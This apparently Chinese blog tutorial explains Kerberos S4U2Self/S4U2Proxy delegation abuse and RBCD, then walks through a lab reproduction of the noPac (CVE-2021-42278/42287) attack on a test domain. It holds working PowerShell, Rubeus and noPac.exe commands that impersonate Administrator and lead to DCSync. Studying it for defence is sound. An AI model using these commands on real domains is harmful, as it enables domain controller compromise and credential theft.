【内网渗透】——S4u2扩展协议提权以及KDC欺骗提权

【内网渗透】——S4u2扩展协议提权以及KDC欺骗提权


文章目录

  • 【内网渗透】——S4u2扩展协议提权以及KDC欺骗提权
    • @[toc]
    • 一:Kerberos 委派攻击原理之 S4U2利用
      • 1.1原理
      • 1.2两种扩展协议
        • **S4U2Self (Service for User to Self)**
        • **S4U2Proxy (Service for User to Proxy)**
      • 1.3 S4U2Self利用过程
        • 1.3.1前提条件
        • 1.3.2利用步骤
      • 1.4S4U2Proxy利用过程
        • 1.4.1利用前提条件
        • 1.4.2详细利用步骤(Rubeus)
      • 1.5:**基于资源的约束委派(RBCD)利用**
    • 二:CVE-2021-42278-Name impersonation&CVE-2021-42287-KDC bamboozling漏洞复现
      • 2.1概念说明
      • 2.2漏洞复现
        • (1)noPac 利用
        • (2)手动注入分析
    • **修改计算机账户的 `sAMAccountName`(推荐)**

一:Kerberos 委派攻击原理之 S4U2利用

1.1原理

S4U2Self(Service For User to Self)是 Kerberos 协议的一种委托机制,允许服务(Service)代表用户(User)自身获取用户的票证(Ticket)。这个机制在 Windows 环境中广泛应用于网络服务和应用程序,以便在用户访问需要身份验证的资源时,能够以用户的身份获取必要的票证,而无需用户交互地提供凭证。正因有了委托机制才使得攻击者以某个合法用户的身份请求特定服务的票证,然后利用漏洞伪造这些票证,从而获取到更高的权限。

当 Kerberos 无约束委派在服务器上启用,服务器托管了在 TGS-REQ (步骤3)中引用的服务主体名称中指定的服务时,DC 域控制器将用户 TGT 的一个副本放到服务票证中。 当向服务器提供用户的服务票证(TGS)以进行服务访问时,服务器打开 TGS 并将用户的 TGT 放入 LSASS 中供后续使用。 此时,应用程序服务器就可以无限制地假冒该用户

在这里插入图片描述

1.2两种扩展协议

S4U2Self (Service for User to Self)

用途

允许服务代表用户获取 该用户自己的服务票据(ST),而无需用户密码或交互。
典型场景

  • 用户通过非Kerberos方式(如表单认证)登录后,服务需获取用户的Kerberos票据。
  • 约束委派/无约束委派攻击中模拟用户身份。

关键特性

  • 无需用户密码:服务使用自己的TGT请求用户的ST。
  • 票据加密:返回的ST使用 服务账户的密钥 加密(而非用户的)。
  • 权限要求:服务账户需配置 “TrustedToAuthForDelegation”(无约束委派)或约束委派权限。

请求流程

  1. 服务向KDC发送请求,包含:
    • 服务账户的TGT
    • 目标用户的UPN(如user@domain.com
    • 目标SPN(如http/service.domain.com
  2. KDC返回加密的ST(可被服务解密使用)。
S4U2Proxy (Service for User to Proxy)

用途

允许服务在已获得用户授权后,代表用户获取 其他服务的票据(跨服务委派)。
典型场景

  • 三层应用架构中(如Web→DB),Web服务代表用户访问DB服务。
  • 约束委派攻击中横向移动。

关键特性

  • 需用户授权:需先通过S4U2Self获取用户的ST(作为"证据")。
  • 约束限制:仅能委派到 msDS-AllowedToDelegateTo 中指定的服务。
  • 票据转发:最终ST仍以用户身份加密,但由服务代理请求。

请求流程

  1. 服务通过S4U2Self获取用户的ST(如user→http/service)。
  2. 服务向KDC发送请求,包含:
    • 服务账户的TGT
    • 用户的ST(作为授权证据)
    • 目标SPN(如cifs/db.domain.com
  3. KDC返回用户对目标服务的ST(如user→cifs/db)。

1.3 S4U2Self利用过程

1.3.1前提条件
  • 需要拥有一个具有 SPN (Service Principal Name) 的服务账户

    在这里插入图片描述

  • 该服务账户需要被授予 “TrustedToAuthForDelegation” 权限

    在这里插入图片描述

1.3.2利用步骤

(1)获取服务账户凭据

  • 通过密码、哈希或 Kerberos 票据获取服务账户的访问权限

(2)请求 S4U2Self 票据

  • 使用服务账户的 TGT (Ticket Granting Ticket)
  • 为目标用户请求服务票据,指定服务账户的 SPN
  • 使用 KRB_TGS_REQ 请求,包含 PA-FOR-USER 结构

处理响应

  • 接收 KDC 返回的服务票据
  • 票据将加密为服务账户的密钥,而不是目标用户的密钥

使用票据

  • 可以使用该票据访问目标服务
  • 服务会认为请求来自目标用户

可以获得访问权限

1.4S4U2Proxy利用过程

1.4.1利用前提条件
  • 服务账户:拥有SPN的账户
  • 约束委派权限
    • 账户配置了msDS-AllowedToDelegateTo属性
    • 可以委派到指定的服务(如CIFS、LDAP等)
  • 有效的TGT:服务账户的Kerberos票据
  • 用户授权
    • 需要用户的TGS(传统约束委派)
    • 或配置了基于资源的约束委派(Resource-based Constrained Delegation)
1.4.2详细利用步骤(Rubeus)

(1) 识别具有约束委派权限的账户

使用PowerShell或ldapsearch查询域中配置了约束委派的账户

(2)获取服务账户的TGT

使用已获取的服务账户凭据请求TGT

(3)执行S4U2Proxy攻击

(4)使用获取的票据

如果使用了/ptt参数,票据会自动注入当前会话。否则可以手动注入,然后可以使用该票据访问目标服务。

在这里插入图片描述

1.5:基于资源的约束委派(RBCD)利用

当配置了基于资源的约束委派时:

(1) 检查目标计算机的msDS-AllowedToActOnBehalfOfOtherIdentity

Get-NetComputer dc01 | Select-Object -Property msDS-AllowedToActOnBehalfOfOtherIdentity

(2) 配置新的委派关系

$comp = Get-ADComputer dc01
$sid = (Get-ADComputer attackercomputer).SID
$SD = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"
$SDbytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDbytes,0)
Set-ADComputer dc01 -Replace @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$SDbytes}

(3) 执行完整的S4U攻击链

Rubeus.exe s4u /user:attackercomputer$ /rc4:<NTLM> /impersonateuser:Administrator /msdsspn:cifs/dc01 /altservice:http /ptt

二:CVE-2021-42278-Name impersonation&CVE-2021-42287-KDC bamboozling漏洞复现

2.1概念说明

机器账户的名字一般来说应该以$结尾,但AD没有对域内机器账户名做验证。

创建与DC机器账户名字相同的机器账户(不以$结尾),账户请求一个TGT后,更名账户,然后通过S4U2self申请TGS Ticket,接着DC在TGS_REP阶段,这个账户不存在的时候,DC会使用自己的密钥加密TGS Ticket,提供一个属于该账户的PAC,然后我们就得到了一个高权限ST。过程如上图所示。

允许攻击者任意修改计算机帐户sAMAccountName字段,进而模拟域控申请票据。

加入域的机器账户默认由结尾,samAccountName默认和域机器名一致。但DC没有对sAMAccountName属性进行合法性判断,导致删除sAMAccountName结尾的$"照样可以以机器用户身份申请TGT票据。

配合 CVE-2021-42278 使用,创建与域控机器账户名字相同的机器账户(不以$结尾),账户请求一个TGT后,更名账户,然后通过S4U2self 申请TGS Ticket,接着域控在 TGS_REP 阶段,这个账户不存在的时候,DC会使用自己的密钥加密 TGS Ticket ,提供一个属于该账户的 PAC,然后我们就得到了一个高权限ST。

2.2漏洞复现

域控

域名:test.com
账户:administrator
密码:QAX@123
计算机名:WIN-ISB0SNPKEPI

普通域用户

账户:s4u2
密码:QAX@123
(1)noPac 利用

检查是否存在漏洞

noPac.exe scan -domain test.com -user s4u2 -pass QAX@123

在这里插入图片描述

在这里插入图片描述

noPac.exe -domain test.com -user s4u2 -pass QAX@123 /dc WIN-ISB0SNPKEPI.test.com /mAccount demohb /mPassword QAX@123 /service cifs /ptt

[!NOTE]

参数 说明
-domain htb.local 目标域名。
-user domain_user 普通域用户账号(需具备创建计算机账户的权限)。
-pass ‘Password123!’ 对应用户的密码。
/dc dc02.htb.local 指定域控制器的主机名。
/mAccount demo123 攻击者创建的恶意计算机账户名称(用于名称伪装)。
/mPassword Password123! 恶意计算机账户的密码。
/service cifs 目标服务(通常为 cifs 以访问文件共享)。
/ptt 将生成的票据注入当前会话(Pass-the-Ticket)。

在这里插入图片描述

获得票据信息以及访问权限:

在这里插入图片描述

(2)手动注入分析

具体流程:

  1. 首先创建一个机器账户,可以使用 impacket 的 addcomputer.py或是powermad

    addcomputer.py是利用SAMR协议创建机器账户,这个方法所创建的机器账户没有SPN,所以可以不用清除

  2. 清除机器账户的servicePrincipalName属性

  3. 将机器账户的sAMAccountName,更改为DC的机器账户名字,注意后缀不带$

  4. 为机器账户请求TGT

  5. 将机器账户的sAMAccountName更改为其他名字,不与步骤3重复即可

  6. 通过S4U2self协议向DC请求ST

  7. 进行 DCsync Attack

普通域账户:s4u2用户是一个普通的域用户:

在这里插入图片描述

在这里插入图片描述

新增机器账户:域用户默认可以新建10个机器账户

在这里插入图片描述

清除SPN信息

在这里插入图片描述

重设机器名称

[!NOTE]

修改计算机账户的 sAMAccountName(推荐)

适用场景

  • 你希望计算机账户在 AD 中显示不带 $ 的名称(但实际 Kerberos 认证仍会使用 COMPUTERNAME$

步骤

  1. 打开 Active Directory 用户和计算机dsa.msc
  2. 找到目标计算机账户(默认在 Computers 容器或自定义 OU)
  3. 右键 → 属性 → 属性编辑器
    • 找到 sAMAccountName,默认值类似 COMPUTERNAME$
    • 修改为不带 $ 的名称(如 COMPUTERNAME
  4. 点击确定保存

注意

  • 修改后,该计算机仍然需要使用 COMPUTERNAME$ 进行 Kerberos 认证$ 是系统必需的)。
  • 只是 sAMAccountName 显示变化,不影响实际功能。

修改计算机的名字

在这里插入图片描述

可以看到已经修改完成了

在这里插入图片描述

Request TGT (请求TGT)

./Rubeus.exe asktgt /user:demo1 /password:QAX@123 /domian:test.com /dc:WIN-ISB0SNPKEPI.test.com /nowrap

[!NOTE]

参数说明
/userDemo1目标计算机账户
/passwordQAX@123计算机账户的密码(可能无效)
/domaintest.com目标域名
/dcWIN-ISB0SNPKEPI.test.com域控制器主机名(需确保可解析)
/nowrap-输出票据不换行

在这里插入图片描述

Request S4U2self(获取票据)

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/905455.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

AD 间距规则与布线规则

1. 打开在线规则检查 2. 间距规则 一般来说最小间距设为6mil 注意&#xff1a; AD22 也提供类似低版本那样的、多个间距规则叠加的方法&#xff0c;通过选择第一个适配对象和第二个适配对象来筛选对象和范围。 ① Where The First Object Matches &#xff1a;选择规则第一个…

Android Studio 安装与配置完全指南

文章目录 第一部分&#xff1a;Android Studio 简介与安装准备1.1 Android Studio 概述1.2 系统要求Windows 系统&#xff1a;macOS 系统&#xff1a;Linux 系统&#xff1a; 1.3 下载 Android Studio 第二部分&#xff1a;安装 Android Studio2.1 Windows 系统安装步骤2.2 mac…

springboot踩坑记录

之前运行好端端的项目&#xff0c;今天下午打开只是添加了一个文件之后 再运行都报Failed to configure a DataSource: url attribute is not specified and no embedded datasource could be configured.Reason: Failed to determine a suitable driver class Action: Conside…

【计算机视觉】OpenCV实战项目:Deep Machine Learning Tutors:基于OpenCV的实时面部识别系统深度解析

Deep Machine Learning Tutors&#xff1a;基于OpenCV的实时面部识别系统深度解析 1. 项目概述2. 技术原理2.1 面部识别流程2.2 关键技术组件2.2.1 Haar级联分类器2.2.2 深度特征提取 3. 项目实现细节3.1 系统架构3.2 核心算法实现3.2.1 人脸检测3.2.2 实时处理流水线 4. 项目运…

Flutter在键盘的上方加一个完成按钮

有些情况下&#xff0c;输入框在输入键盘弹出后&#xff0c; 需要在键盘的上方显示一个toolbar &#xff0c; 然后 toolbar 上面一个完成按钮&#xff0c;点完成按钮把键盘关闭。 如图&#xff1a; 直接上代码&#xff0c;这样写的好处是&#xff0c;把 TextField 给封装了&…

Flink SQL 将kafka topic的数据写到另外一个topic里面

-- 创建源表&#xff0c;使用 RAW 格式接收原始 JSON 数据 CREATE TABLE source_kafka ( id STRING, data STRING ) WITH ( connector kafka, topic source_kafka-topic, properties.bootstrap.servers master01:9092, properties.group.id flink-kafka-group, scan.startu…

618开售仅1小时,李佳琦直播间加购同增超10%

5月13日晚8点&#xff0c;天猫618大促正式拉开帷幕&#xff0c;李佳琦直播间首日“爆款美妆节”公布首轮战报&#xff1a;首小时加购GMV同比增长超10%&#xff0c;可复美、珀莱雅等品牌超60万件国货爆品秒售罄。 据统计&#xff0c;今年李佳琦直播间618首日预售共上架近500件爆…

【轻松学 C:编程小白的大冒险】— 16 函数的定义与调用

在编程的艺术世界里&#xff0c;代码和灵感需要寻找到最佳的交融点&#xff0c;才能打造出令人为之惊叹的作品。而在这座秋知叶i博客的殿堂里&#xff0c;我们将共同追寻这种完美结合&#xff0c;为未来的世界留下属于我们的独特印记。 【轻松学 C&#xff1a;编程小白的大冒险…

多模态大语言模型arxiv论文略读(七十四)

UniQA: Unified Vision-Language Pre-training for Image Quality and Aesthetic Assessment ➡️ 论文标题&#xff1a;UniQA: Unified Vision-Language Pre-training for Image Quality and Aesthetic Assessment ➡️ 论文作者&#xff1a;Hantao Zhou, Longxiang Tang, Ru…

Flutter - UIKit开发相关指南 - 线程和异步

线程和异步 编写异步代码 Dart采用单线程执行模型,支持Isolates(在另一个线程上运行Dart代码)、事件循环和异步编程。除非生成一个Isolates&#xff0c;否则Dart代码将在主UI线程中运行&#xff0c;并由事件循环驱动。Flutter的事件循环相当于iOS的主线程上的RunLoop。 Dart…

【愚公系列】《Manus极简入门》038-数字孪生设计师:“虚实映射师”

&#x1f31f;【技术大咖愚公搬代码&#xff1a;全栈专家的成长之路&#xff0c;你关注的宝藏博主在这里&#xff01;】&#x1f31f; &#x1f4e3;开发者圈持续输出高质量干货的"愚公精神"践行者——全网百万开发者都在追更的顶级技术博主&#xff01; &#x1f…

西门子WinCC Unified PC的GraphQL使用手册

TIA V20版本&#xff1a;添加用户 添加角色&#xff0c;并充分授权&#xff0c;尤其是GraphQL的读写权限。 通过SIMATIC Runtime Manager启动wincc unifi工程。 打开浏览器&#xff0c;访问本地的https://localhost/graphql/&#xff0c;运行正常如图&#xff1a; 连接外…

开源长期主义:浅谈DeepSeek技术主张与早期论文

开源、长期主义与DeepSeek的技术愿景 ©作者|格林 来源|神州问学 导入&#xff1a;Deepseek在早期就开源了许多优秀的指令模型与对话模型&#xff0c;并发布了多篇论文。以下&#xff0c;我们将基于Deepseek在早期发布的6篇论文&#xff0c;来梳理Deepseek公司的技术路径与…

TTS-Web-Vue系列:Vue3实现内嵌iframe文档显示功能

&#x1f5bc;️ 本文是TTS-Web-Vue系列的新篇章&#xff0c;重点介绍如何在Vue3项目中优雅地实现内嵌iframe功能&#xff0c;用于加载外部文档内容。通过Vue3的响应式系统和组件化设计&#xff0c;我们实现了一个功能完善、用户体验友好的文档嵌入方案&#xff0c;包括加载状态…

Elasticsearch索引设计与调优

一、分片策略设计 1.‌分片容量规划 单分片容量建议30GB(日志场景可放宽至100GB),避免超大分片引发查询延迟。分片总数计算公式:总数据量 / 30GB 1.2(20%余量应对未来增长)。主分片数创建后不可修改,副本分片数支持动态调整。2.‌分片分布优化 PUT logs-2025 { &qu…

Spring AI 集成 Mistral AI:构建高效多语言对话助手的实战指南

Spring AI 集成 Mistral AI&#xff1a;构建高效多语言对话助手的实战指南 前言 在人工智能应用开发领域&#xff0c;选择合适的大语言模型&#xff08;LLM&#xff09;与开发框架至关重要。Mistral AI 凭借其高效的多语言模型&#xff08;如 Mistral-7B、Mixtral-8x7B 等&am…

从新手到高手:全面解析 AI 时代的「魔法咒语」——Prompt

引言&#xff1a;AI 时代的「语言炼金术」 在人工智能技术突飞猛进的今天&#xff0c;我们正在经历一场堪比工业革命的生产力变革。从聊天机器人到图像生成&#xff0c;从数据分析到自动化写作&#xff0c;AI 模型正在重塑人类与信息交互的方式。而在这一切背后&#xff0c;隐…

MySQL 8.0安装(压缩包方式)

MySQL 8.0安装(压缩包方式) 下载安装包并解压 下载 https://dev.mysql.com/downloads/mysql/可关注“后端码匠”回复“MySQL8”关键字获取 解压&#xff08;我解压到D:\dev\mysql-8.4.5-winx64目录下&#xff09; 创建mysql服务 注意&#xff0c;这步之前一定要保证自己电…

免费Ollama大模型集成系统——Golang

Ollama Free V2 Web 功能实现&#xff1a;界面交互与后端逻辑 一、Web 界面概述 Ollama Free V2 的 Web 界面提供了丰富的交互功能&#xff0c;包括模型选择、图片上传、历史记录查看等。界面使用 Bootstrap 进行布局&#xff0c;结合 JavaScript 实现动态交互。 二、前端界…

【AI】人工智能数据标注细分和商业机会

一、数据标注的常见方法 数据标注是为人工智能模型训练提供高质量标签的过程&#xff0c;根据数据类型&#xff08;图像、文本、音频、视频等&#xff09;的不同&#xff0c;标注方法也有所差异&#xff1a; 1. 图像标注 分类标注&#xff1a;为图像分配类别标签&#xff08…